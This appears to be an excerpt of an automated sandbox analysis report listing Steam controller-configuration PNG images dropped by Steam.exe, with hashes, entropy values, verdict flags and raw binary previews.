Preview:	.PNG........IHDR.......V........U....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_xboxelite.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 600, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	380440
Entropy (8bit):	7.9534614633219265
Encrypted:	false
SSDEEP:
MD5:	AE93BC35014D205B3473561383DBB419
SHA1:	A4592C230B4E1C98EB4110FC56CBDBA5BFFFD8B1
SHA-256:	9E3F38BB62C572CDEB112D7310903E15E5461DBA679E9A43FF49C45B6ED6012D
SHA-512:	1EB862147A874768FA333F1266F486CAD4953B52E463CE091556034D4BBE97129D32F4BD990389F98688599CC277809D5EDDE4AC86A0383C927CF48B676D1A8C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......X........%....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..i.e........TVVe..B-@U..4........!...CR..e#..$3.$3h>.'.i>.."G.......3........W..{fd..........q.x..k....w?~..z..\...B.#G..w.~..ou_../W...K.............}S.be.P.{o...7..v...l...W..z-),..WC.R..R....RRtp.j.T.)8. N.9.w..x\....,........].....S........J..#....=.kf..k.\|8.$3..{...s...6./^z.V.....g.^....?...775..Mz[K]=[.N.Z......Y(.J..a..n.....1?...a.ws..7....o).._Xt.........c.9{...5~d.p.....K...\|R.\......).......w...'.2.3.#G......#G.;...G..5..X...\.xp..._=Z]..],.+s...+{w.\|..g.......Lea...JC.je..........d.Y.....c..N.....P.G...aC.....n.YvF;........&''../w..g..V?\|id..mss.8....Zm.7.s..q;...v.9.../._....[...y_......K.]]]....=.0..q.........Os..#?g..n\|.w....Y7.b.;.~qv..xmy~.+.tWw.B....b....._.]X.u.......}KK.....M..........s>..9r.C...9r.#./..........\a.Z-^..>.....K........T..sarzp~a......$CK...r..SUK.r....].J..T...........@\|+....S.~...p

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_xboxone.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 598, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	505440
Entropy (8bit):	7.995333898455099
Encrypted:	true
SSDEEP:
MD5:	5EF1F082350CFBA88170790E0D40F3E2
SHA1:	144537D944E5248FC0FF9A40C43E288E761ECD17
SHA-256:	24711BF3775EFB9802699527EDF199118B300E2B1417924CDE6E2191D7B40DC6
SHA-512:	E60B7F437B8F9ABD73341F7A109AB47AF2A475E454B7053E2A3A077288364EB060E99F054FEC38741EF97852F145552FE3F9DAECC41468FD4BD2F7E96DC29CA2
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR.......V........U....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_xboxone_x.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1000 x 600, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	299870
Entropy (8bit):	7.880074042063865
Encrypted:	false
SSDEEP:
MD5:	3583EF2B5DC4FF8D2298825F213200C5
SHA1:	94BDC5F651C05F51AFBF844C436AC55FEDB572A8
SHA-256:	B644A0AA2C5DF2A5A144DE3859670AF1FD963ACC33B3E88AB3154940B4F8584D
SHA-512:	50C07A0D246D2CEB5CA4AFE4C03F885527C75D20F13E4AB5000ADA42AA21B5D5E48480886B44F8C0CC207A9B330315E28056C5C5955DF9FAC69562141B766FA6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......X........%....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....w]..>..s..B . g..'.L...P......U.E.:.)3S./..3..i_.mg...3..Z.+..A.E.!..9.......Z.._........./.............Y{.6l.a...6l.a.?}.pt.a......<..O?.....O..v.u....z.....<...=......!.x.{w.q...C.r.2...b...]..]....O?.t>a....n.i6l.......w....8p..w.y..:.~y.5<........1...;...sy.}.i..v..O>.z.....7......p...ux...>....7l......ex....I.:v.u.]w.y;...t..l....l.NZt.p......E.y.n.v.............>...[.N..x....q........SN9..^..#'...6lx..k.r8~..>...n{.........yG<v>.hy.=.g....iO.x....>...-..K.;.......5..o.t.I.:..S.~.Yg.~.'.u..Jp....a..4l....6\|Z..~..C...{.M7.t.2~.....es...!..e.v.O...)...........8P7..O....Q9.>d[.7.=...N......F..r...>#q...G,.._......Z........B2.Z.A#L}(.d.g?.H....<...y.o].w..w-..7.\|...^.7,....{.7.<x....a.OW...a.O.............\....}.-.<}.d={Q..2.....X...&....Ay..nm.O....k............9.S^........o......6l...........~.r0....y...\|...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_inspector_bpad_bg.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 454, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	25403
Entropy (8bit):	7.901424395731995
Encrypted:	false
SSDEEP:
MD5:	C01B3FBFFEF7A919733C774D23BF077D
SHA1:	A9AD23CFC1B0A48156391706BF6CE5DA84307D69
SHA-256:	81D770A09A01F175F3BC09948FCA600B8EC2A568A2DC7A07A16094380E220F30
SHA-512:	BDDC4902366980777938A58B18A81964BDFC021EBED074D88B19A1AFACB73ECB934A8B00F0937B1C7461184AD883D3731E2E2C4C15B0ABD648927EEBAF0C2FA9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............!3.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_inspector_bpad_bg_ps4.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 454, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	25687
Entropy (8bit):	7.911042686562689
Encrypted:	false
SSDEEP:
MD5:	98588100DFB0C2F4C3FE2A9B8BCDA94D
SHA1:	2F1D8B12D8B48A11BE92C4943927E27AB7D4757F
SHA-256:	D7B37FC9A126BCDAC9F676C33C3BE0A5923884DA07473A86445648F10993D9F3
SHA-512:	917621DF40DC9D844D01781554E1BF3D1BD49C70143F88DF25966ADCD5537EFCBF76981B99DDF497C10A3B980E1795DA4A41F72C0F8C4217462515E8B47B4ADC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............!3.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_inspector_dpad_bg.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 454, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18938
Entropy (8bit):	7.874531497552177
Encrypted:	false
SSDEEP:
MD5:	382920999B97C94049365677F7558AA1
SHA1:	7B9D96E320EF3765B7D20CD76B5A9218779E14B9
SHA-256:	D346DCA6437FD8CD4948331E170F984C2897D4DB5655E2C4FA6CEB0E50E05865
SHA-512:	86C12E01676C6A4F107942321BD73DD057638C9C7518DB988FFBA3E85813265C6D741182133826D01D906A0653AD591BAE5AD2CC33FDA574BCE47073DF09E99A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............!3.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_inspector_stick_bg.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 454, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21567
Entropy (8bit):	7.868785313054206
Encrypted:	false
SSDEEP:
MD5:	78FD9CA615B18D65D3AB448DE1ABB6A4
SHA1:	DA5D442F5394C3AE6D816F1199B34305C343F101
SHA-256:	0B08F71689086323C58A26005DC513DB8B8546AA6D79D4DA9F1D7D35B96284CC
SHA-512:	77C05D2D76691A24CAE6175B450283B6B4CC1D15515986C5939EA8B3FDB5D41730EB928BB8C08C04744C05AF505B38741F29681B4F38BEBF4408384001107C7D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............!3.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_inspector_trackpad_rotation.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 23, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3216
Entropy (8bit):	7.866989287736504
Encrypted:	false
SSDEEP:
MD5:	0AF2BBD337CE93E0EFDE27A349C6CFAE
SHA1:	CC4A7D1AB66F3AEA9FEB8A0956CF6B6ADB9CDD56
SHA-256:	2BEF670E94EFC5E2CAA701A98843ADA7C3C19E1DBF79014F18DB8F4F90B8A878
SHA-512:	41EA2DE7052C2AAFB29AEF06C8F62732DC7257848F83F3AC41794A627696FF030CD14CBA2BB9717BEE7AC73A41F9B9F4413C2F57235A365C00886C7DC44AD966
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............}4......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_inspector_trackpad_zone_dead.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 454, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9838
Entropy (8bit):	7.682172158543165
Encrypted:	false
SSDEEP:
MD5:	4CED27C5F940214FDA9698E5C6882623
SHA1:	081FE12D4E2FE061FA4D04C759326559DCB4F492
SHA-256:	96636A25BA8E5D8D95AAE9CBB5A911A8ACE8BF33308D688441F399FA6FB53121
SHA-512:	346E9C7FE6466188FA909FA14858FB1E407D51BC2380785A3858D62DE424CA017EA27B9BD712071957EDB6517BD1CDB21BA0B8ADE2AE37E1B861E6A035AFD69C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............!3.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_inspector_trackpad_zone_modifier.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 454, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21425
Entropy (8bit):	7.866260287560157
Encrypted:	false
SSDEEP:
MD5:	78ECAD1F934A363BC972CA18EE61D0E0
SHA1:	812A6AAB7F8E7FF750CA979487A011C3F135B4E1
SHA-256:	58BB0EDD8CD4FF105BFAE7D408B03A9E2866BCA7852B5A0CE1CF1484C859DC7E
SHA-512:	39CFF4A799AF247B814E182719127D5C5805EB0405C5091F4771AB51282E3ADD6E48DD3A1BA5375A7C16FD89667D029D365DCE3DE81DB574590508E58DCB4D4E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............!3.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_inspector_trackpad_zone_touch.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 454, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9856
Entropy (8bit):	7.720431120253192
Encrypted:	false
SSDEEP:
MD5:	FD68778CC3B4AC01C7D658E92D1C54C9
SHA1:	6748513A0656690E4479927442E45635D117ED3B
SHA-256:	77D0B2B3CFA0A439D3CE1A9E7338BEBE3C555F76B62609F3A308D43DBF48BCBA
SHA-512:	A0A546CC214686C875D06C16EAE2834064ADC2F12E1AED42D18A3FDE6AA01FAB4A8863C1E75675F2868B0F25B132F1E5E509A5FF45445444C289A8BB72614894
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............!3.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_inspector_trigger_layout.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 360, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	9140
Entropy (8bit):	7.801853727604384
Encrypted:	false
SSDEEP:
MD5:	82CE40D8419CFF6BB6EDFC0E9C987F44
SHA1:	DC40410DFC204196B37A7DEE6449D2931A31F9DA
SHA-256:	A12783D8DACADB243794EB67E1F9E0A0737AF9594DF1D9885FAA57A7844DD77A
SHA-512:	295B7AAFA086ADFBDA7FE42962A12CC7DC214B362B3C78F56E3C521ED53361F6D4D04485AFEF5D8FF5490EE33E8ECA641E436D611C13FAD1E936467A5980891B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......h......U......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_mode_bpad.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 420 x 231, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4079
Entropy (8bit):	7.665650590761773
Encrypted:	false
SSDEEP:
MD5:	CFD8B27B16D978D11224403919E233E5
SHA1:	11ECDC03934C98352D62D845FC4565E87C4B7877
SHA-256:	D6BEB54B366E2CB430F9220E6FB63FD1ABE78B730AD4969E4954142A37F16893
SHA-512:	B73033F32896B9AE1EF8D335BD4178D4064BB35B695C4B6864548FA918C40B66261ACCFC7B763F84CBB88375EC9052034A4122B58760F5010A19798F837A32F6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............Q."C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_mode_bpad_focus.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 420 x 231, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4171
Entropy (8bit):	7.675637865761706
Encrypted:	false
SSDEEP:
MD5:	2CF1A4CEAFD993F8B17F1B88BA07B8DE
SHA1:	41B5BA0BADAE7CDE68E49C3E498BA51172E592F4
SHA-256:	F0903DD19F688E1BBD217C7BA7AF4872F38E3E727BC62179C9BB97154585D845
SHA-512:	45E60C3003CB38E475664A8786ADD9FEF17D2083430B130C522D4A7A5320244D57AACCB4EDC038E6F6C770E8CB2FF2B90E32507C999B2A3C0E3E8E1E7EC8C54C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............Q."C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_mode_dpad.png_

Download File

